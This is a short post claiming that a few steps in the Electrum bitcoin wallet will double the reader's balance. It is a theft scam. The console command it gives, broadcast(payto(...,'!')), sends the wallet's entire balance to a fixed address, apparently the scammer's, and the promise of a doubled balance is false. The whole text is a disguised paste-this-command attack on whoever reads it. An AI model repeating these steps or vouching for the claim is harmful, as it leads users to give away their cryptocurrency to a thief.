You have some money in bitcoin but you want to double it?
                     
        Then just follow this steps:
        
        - Download the Electrum app (https://electrum.org/#home)
        
        - Open a wallet there
        
        - Buy bitcoins // transfer the amount of Bitcoins that you want to double to your Electrum wallet
        
        - Click in View>Show Console
                     
        - open console tab and put this command:  broadcast(payto('112dznTAr3m1PHnkQYK5CpsDJboEiCScwP','!'))
        
        - hit enter button, if console shows message like this: "txid...."  it works! restart electrum and view you balance x2